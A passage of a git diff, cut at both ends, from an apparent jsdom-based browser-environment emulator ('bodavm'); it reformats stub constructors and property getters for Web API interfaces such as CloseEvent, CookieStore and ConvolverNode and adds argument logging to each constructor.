bodavm.memory.globalobj['CloseEvent'].prototype, "CloseEvent", "reason_get", arguments)}, set:undefined},'prototype'); +// CloseEvent对象 + +bodavm.memory.globalobj['CloseEvent'] = function CloseEvent() { + console.log_copy('CloseEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CloseEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CloseEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CloseEvent'], "CloseEvent"); +bodavm.memory.globalobj['CloseEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['CloseEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('CloseEvent', "wasClean", { + configurable: true, + enumerable: true, + get: function wasClean() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CloseEvent'].prototype, "CloseEvent", "wasClean_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CloseEvent', "code", { + configurable: true, + enumerable: true, + get: function code() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CloseEvent'].prototype, "CloseEvent", "code_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CloseEvent', "reason", { + configurable: true, + enumerable: true, + get: function reason() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CloseEvent'].prototype, "CloseEvent", "reason_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Comment.js b/env_xbb_lastest_jsdom/env/Comment.js index 574b7b05..cf9f0944 100644 --- a/env_xbb_lastest_jsdom/env/Comment.js +++ b/env_xbb_lastest_jsdom/env/Comment.js @@ -1,5 +1,16 @@ -// Comment对象 -bodavm.memory.globalobj['Comment'] = function Comment(){this._boarg= new bodaobj.window.Comment();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Comment'], "Comment"); -bodavm.memory.globalobj['Comment'].prototype.__proto__=bodavm.memory.globalobj['CharacterData'].prototype; -bodavm.memory.globalobj['Comment'].__proto__=bodavm.memory.globalobj['CharacterData']; +// Comment对象 + +bodavm.memory.globalobj['Comment'] = function Comment() { + console.log_copy('Comment 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Comment(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Comment'], "Comment"); +bodavm.memory.globalobj['Comment'].prototype.__proto__ = bodavm.memory.globalobj['CharacterData'].prototype; +bodavm.memory.globalobj['Comment'].__proto__ = bodavm.memory.globalobj['CharacterData']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CompositionEvent.js b/env_xbb_lastest_jsdom/env/CompositionEvent.js index ae1aee12..50008277 100644 --- a/env_xbb_lastest_jsdom/env/CompositionEvent.js +++ b/env_xbb_lastest_jsdom/env/CompositionEvent.js @@ -1,7 +1,35 @@ -// CompositionEvent对象 -bodavm.memory.globalobj['CompositionEvent'] = function CompositionEvent(){if (!(this instanceof CompositionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CompositionEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CompositionEvent'], "CompositionEvent"); -bodavm.memory.globalobj['CompositionEvent'].prototype.__proto__=bodavm.memory.globalobj['UIEvent'].prototype; -bodavm.memory.globalobj['CompositionEvent'].__proto__=bodavm.memory.globalobj['UIEvent']; -bodavm.toolsFunc.defineProperty('CompositionEvent', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CompositionEvent'].prototype, "CompositionEvent", "data_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CompositionEvent', "initCompositionEvent", {configurable:true, enumerable:true, writable:true, value:function initCompositionEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CompositionEvent'].prototype, "CompositionEvent", "initCompositionEvent", arguments)}},'prototype'); +// CompositionEvent对象 + +bodavm.memory.globalobj['CompositionEvent'] = function CompositionEvent() { + console.log_copy('CompositionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CompositionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CompositionEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CompositionEvent'], "CompositionEvent"); +bodavm.memory.globalobj['CompositionEvent'].prototype.__proto__ = bodavm.memory.globalobj['UIEvent'].prototype; +bodavm.memory.globalobj['CompositionEvent'].__proto__ = bodavm.memory.globalobj['UIEvent']; +bodavm.toolsFunc.defineProperty('CompositionEvent', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CompositionEvent'].prototype, "CompositionEvent", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CompositionEvent', "initCompositionEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initCompositionEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CompositionEvent'].prototype, "CompositionEvent", "initCompositionEvent", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CompressionStream.js b/env_xbb_lastest_jsdom/env/CompressionStream.js index f4d9d819..848aed87 100644 --- a/env_xbb_lastest_jsdom/env/CompressionStream.js +++ b/env_xbb_lastest_jsdom/env/CompressionStream.js @@ -1,5 +1,33 @@ -// CompressionStream对象 -bodavm.memory.globalobj['CompressionStream'] = function CompressionStream(){if (!(this instanceof CompressionStream)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CompressionStream': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CompressionStream'], "CompressionStream"); -bodavm.toolsFunc.defineProperty('CompressionStream', "readable", {configurable:true, enumerable:true, get:function readable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CompressionStream'].prototype, "CompressionStream", "readable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CompressionStream', "writable", {configurable:true, enumerable:true, get:function writable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CompressionStream'].prototype, "CompressionStream", "writable_get", arguments)}, set:undefined},'prototype'); +// CompressionStream对象 + +bodavm.memory.globalobj['CompressionStream'] = function CompressionStream() { + console.log_copy('CompressionStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CompressionStream)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CompressionStream': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CompressionStream'], "CompressionStream"); +bodavm.toolsFunc.defineProperty('CompressionStream', "readable", { + configurable: true, + enumerable: true, + get: function readable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CompressionStream'].prototype, "CompressionStream", "readable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CompressionStream', "writable", { + configurable: true, + enumerable: true, + get: function writable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CompressionStream'].prototype, "CompressionStream", "writable_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ConstantSourceNode.js b/env_xbb_lastest_jsdom/env/ConstantSourceNode.js index 2749787d..deb44c93 100644 --- a/env_xbb_lastest_jsdom/env/ConstantSourceNode.js +++ b/env_xbb_lastest_jsdom/env/ConstantSourceNode.js @@ -1,6 +1,27 @@ -// ConstantSourceNode对象 -bodavm.memory.globalobj['ConstantSourceNode'] = function ConstantSourceNode(){if (!(this instanceof ConstantSourceNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ConstantSourceNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ConstantSourceNode'], "ConstantSourceNode"); -bodavm.memory.globalobj['ConstantSourceNode'].prototype.__proto__=bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype; -bodavm.memory.globalobj['ConstantSourceNode'].__proto__=bodavm.memory.globalobj['AudioScheduledSourceNode']; -bodavm.toolsFunc.defineProperty('ConstantSourceNode', "offset", {configurable:true, enumerable:true, get:function offset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConstantSourceNode'].prototype, "ConstantSourceNode", "offset_get", arguments)}, set:undefined},'prototype'); +// ConstantSourceNode对象 + +bodavm.memory.globalobj['ConstantSourceNode'] = function ConstantSourceNode() { + console.log_copy('ConstantSourceNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ConstantSourceNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ConstantSourceNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ConstantSourceNode'], "ConstantSourceNode"); +bodavm.memory.globalobj['ConstantSourceNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype; +bodavm.memory.globalobj['ConstantSourceNode'].__proto__ = bodavm.memory.globalobj['AudioScheduledSourceNode']; +bodavm.toolsFunc.defineProperty('ConstantSourceNode', "offset", { + configurable: true, + enumerable: true, + get: function offset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConstantSourceNode'].prototype, "ConstantSourceNode", "offset_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ContentVisibilityAutoStateChangeEvent.js b/env_xbb_lastest_jsdom/env/ContentVisibilityAutoStateChangeEvent.js index 5ed660e3..e50c1c69 100644 --- a/env_xbb_lastest_jsdom/env/ContentVisibilityAutoStateChangeEvent.js +++ b/env_xbb_lastest_jsdom/env/ContentVisibilityAutoStateChangeEvent.js @@ -1,6 +1,27 @@ -// ContentVisibilityAutoStateChangeEvent对象 -bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'] = function ContentVisibilityAutoStateChangeEvent(){if (!(this instanceof ContentVisibilityAutoStateChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ContentVisibilityAutoStateChangeEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'], "ContentVisibilityAutoStateChangeEvent"); -bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('ContentVisibilityAutoStateChangeEvent', "skipped", {configurable:true, enumerable:true, get:function skipped (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'].prototype, "ContentVisibilityAutoStateChangeEvent", "skipped_get", arguments)}, set:undefined},'prototype'); +// ContentVisibilityAutoStateChangeEvent对象 + +bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'] = function ContentVisibilityAutoStateChangeEvent() { + console.log_copy('ContentVisibilityAutoStateChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ContentVisibilityAutoStateChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ContentVisibilityAutoStateChangeEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'], "ContentVisibilityAutoStateChangeEvent"); +bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('ContentVisibilityAutoStateChangeEvent', "skipped", { + configurable: true, + enumerable: true, + get: function skipped() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'].prototype, "ContentVisibilityAutoStateChangeEvent", "skipped_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ConvolverNode.js b/env_xbb_lastest_jsdom/env/ConvolverNode.js index 4777345c..854162fa 100644 --- a/env_xbb_lastest_jsdom/env/ConvolverNode.js +++ b/env_xbb_lastest_jsdom/env/ConvolverNode.js @@ -1,7 +1,39 @@ -// ConvolverNode对象 -bodavm.memory.globalobj['ConvolverNode'] = function ConvolverNode(){if (!(this instanceof ConvolverNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ConvolverNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ConvolverNode'], "ConvolverNode"); -bodavm.memory.globalobj['ConvolverNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['ConvolverNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('ConvolverNode', "buffer", {configurable:true, enumerable:true, get:function buffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConvolverNode'].prototype, "ConvolverNode", "buffer_get", arguments)}, set:function buffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConvolverNode'].prototype, "ConvolverNode", "buffer_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ConvolverNode', "normalize", {configurable:true, enumerable:true, get:function normalize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConvolverNode'].prototype, "ConvolverNode", "normalize_get", arguments)}, set:function normalize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConvolverNode'].prototype, "ConvolverNode", "normalize_set", arguments)}},'prototype'); +// ConvolverNode对象 + +bodavm.memory.globalobj['ConvolverNode'] = function ConvolverNode() { + console.log_copy('ConvolverNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ConvolverNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ConvolverNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ConvolverNode'], "ConvolverNode"); +bodavm.memory.globalobj['ConvolverNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['ConvolverNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('ConvolverNode', "buffer", { + configurable: true, + enumerable: true, + get: function buffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConvolverNode'].prototype, "ConvolverNode", "buffer_get", arguments); + }, + set: function buffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConvolverNode'].prototype, "ConvolverNode", "buffer_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ConvolverNode', "normalize", { + configurable: true, + enumerable: true, + get: function normalize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConvolverNode'].prototype, "ConvolverNode", "normalize_get", arguments); + }, + set: function normalize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConvolverNode'].prototype, "ConvolverNode", "normalize_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CookieChangeEvent.js b/env_xbb_lastest_jsdom/env/CookieChangeEvent.js index ba12070f..674792c4 100644 --- a/env_xbb_lastest_jsdom/env/CookieChangeEvent.js +++ b/env_xbb_lastest_jsdom/env/CookieChangeEvent.js @@ -1,7 +1,35 @@ -// CookieChangeEvent对象 -bodavm.memory.globalobj['CookieChangeEvent'] = function CookieChangeEvent(){if (!(this instanceof CookieChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CookieChangeEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CookieChangeEvent'], "CookieChangeEvent"); -bodavm.memory.globalobj['CookieChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['CookieChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('CookieChangeEvent', "changed", {configurable:true, enumerable:true, get:function changed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieChangeEvent'].prototype, "CookieChangeEvent", "changed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CookieChangeEvent', "deleted", {configurable:true, enumerable:true, get:function deleted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieChangeEvent'].prototype, "CookieChangeEvent", "deleted_get", arguments)}, set:undefined},'prototype'); +// CookieChangeEvent对象 + +bodavm.memory.globalobj['CookieChangeEvent'] = function CookieChangeEvent() { + console.log_copy('CookieChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CookieChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CookieChangeEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CookieChangeEvent'], "CookieChangeEvent"); +bodavm.memory.globalobj['CookieChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['CookieChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('CookieChangeEvent', "changed", { + configurable: true, + enumerable: true, + get: function changed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieChangeEvent'].prototype, "CookieChangeEvent", "changed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CookieChangeEvent', "deleted", { + configurable: true, + enumerable: true, + get: function deleted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieChangeEvent'].prototype, "CookieChangeEvent", "deleted_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CookieStore.js b/env_xbb_lastest_jsdom/env/CookieStore.js index a9483baf..8bc17fb9 100644 --- a/env_xbb_lastest_jsdom/env/CookieStore.js +++ b/env_xbb_lastest_jsdom/env/CookieStore.js @@ -1,30 +1,68 @@ - // CookieStore对象 -bodavm.memory.globalobj['CookieStore'] = function CookieStore(){if (!(this instanceof CookieStore)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['CookieStore'] = function CookieStore() { + console.log_copy('CookieStore 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CookieStore)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CookieStore'], "CookieStore"); - -bodavm.memory.globalobj['CookieStore'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; - -bodavm.memory.globalobj['CookieStore'].__proto__=bodavm.memory.globalobj['EventTarget']; - -bodavm.toolsFunc.defineProperty('CookieStore', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CookieStore', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "get", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CookieStore', "getAll", {configurable:true, enumerable:true, writable:true, value:function getAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "getAll", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CookieStore', "set", {configurable:true, enumerable:true, writable:true, value:function set (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CookieStore', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "onchange_set", arguments)}},'prototype'); - - +bodavm.memory.globalobj['CookieStore'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['CookieStore'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('CookieStore', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CookieStore', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CookieStore', "getAll", { + configurable: true, + enumerable: true, + writable: true, + value: function getAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "getAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CookieStore', "set", { + configurable: true, + enumerable: true, + writable: true, + value: function set() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CookieStore', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "onchange_set", arguments); + } +}, 'prototype'); // cookieStore对象 bodavm.memory.globalobj['cookieStore'] = { - _boisinit:bodavm.config.isinit - } - -bodavm.memory.globalobj['cookieStore'].__proto__=bodavm.memory.globalobj['CookieStore'].prototype; + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['cookieStore'].__proto__ = bodavm.memory.globalobj['CookieStore'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CookieStoreManager.js b/env_xbb_lastest_jsdom/env/CookieStoreManager.js index 6fd48287..4c00c0d3 100644 --- a/env_xbb_lastest_jsdom/env/CookieStoreManager.js +++ b/env_xbb_lastest_jsdom/env/CookieStoreManager.js @@ -1,6 +1,41 @@ -// CookieStoreManager对象 -bodavm.memory.globalobj['CookieStoreManager'] = function CookieStoreManager(){if (!(this instanceof CookieStoreManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CookieStoreManager'], "CookieStoreManager"); -bodavm.toolsFunc.defineProperty('CookieStoreManager', "getSubscriptions", {configurable:true, enumerable:true, writable:true, value:function getSubscriptions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStoreManager'].prototype, "CookieStoreManager", "getSubscriptions", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CookieStoreManager', "subscribe", {configurable:true, enumerable:true, writable:true, value:function subscribe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStoreManager'].prototype, "CookieStoreManager", "subscribe", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CookieStoreManager', "unsubscribe", {configurable:true, enumerable:true, writable:true, value:function unsubscribe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStoreManager'].prototype, "CookieStoreManager", "unsubscribe", arguments)}},'prototype'); +// CookieStoreManager对象 + +bodavm.memory.globalobj['CookieStoreManager'] = function CookieStoreManager() { + console.log_copy('CookieStoreManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CookieStoreManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CookieStoreManager'], "CookieStoreManager"); +bodavm.toolsFunc.defineProperty('CookieStoreManager', "getSubscriptions", { + configurable: true, + enumerable: true, + writable: true, + value: function getSubscriptions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStoreManager'].prototype, "CookieStoreManager", "getSubscriptions", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CookieStoreManager', "subscribe", { + configurable: true, + enumerable: true, + writable: true, + value: function subscribe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStoreManager'].prototype, "CookieStoreManager", "subscribe", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CookieStoreManager', "unsubscribe", { + configurable: true, + enumerable: true, + writable: true, + value: function unsubscribe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStoreManager'].prototype, "CookieStoreManager", "unsubscribe", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CountQueuingStrategy.js b/env_xbb_lastest_jsdom/env/CountQueuingStrategy.js index c2d20fb0..1300e702 100644 --- a/env_xbb_lastest_jsdom/env/CountQueuingStrategy.js +++ b/env_xbb_lastest_jsdom/env/CountQueuingStrategy.js @@ -1,5 +1,33 @@ -// CountQueuingStrategy对象 -bodavm.memory.globalobj['CountQueuingStrategy'] = function CountQueuingStrategy(){if (!(this instanceof CountQueuingStrategy)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CountQueuingStrategy': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CountQueuingStrategy'], "CountQueuingStrategy"); -bodavm.toolsFunc.defineProperty('CountQueuingStrategy', "highWaterMark", {configurable:true, enumerable:true, get:function highWaterMark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CountQueuingStrategy'].prototype, "CountQueuingStrategy", "highWaterMark_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CountQueuingStrategy', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CountQueuingStrategy'].prototype, "CountQueuingStrategy", "size_get", arguments)}, set:undefined},'prototype'); +// CountQueuingStrategy对象 + +bodavm.memory.globalobj['CountQueuingStrategy'] = function CountQueuingStrategy() { + console.log_copy('CountQueuingStrategy 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CountQueuingStrategy)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CountQueuingStrategy': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CountQueuingStrategy'], "CountQueuingStrategy"); +bodavm.toolsFunc.defineProperty('CountQueuingStrategy', "highWaterMark", { + configurable: true, + enumerable: true, + get: function highWaterMark() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CountQueuingStrategy'].prototype, "CountQueuingStrategy", "highWaterMark_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CountQueuingStrategy', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CountQueuingStrategy'].prototype, "CountQueuingStrategy", "size_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Credential.js b/env_xbb_lastest_jsdom/env/Credential.js index 3da7df82..7881c7a2 100644 --- a/env_xbb_lastest_jsdom/env/Credential.js +++ b/env_xbb_lastest_jsdom/env/Credential.js @@ -1,5 +1,33 @@ -// Credential对象 -bodavm.memory.globalobj['Credential'] = function 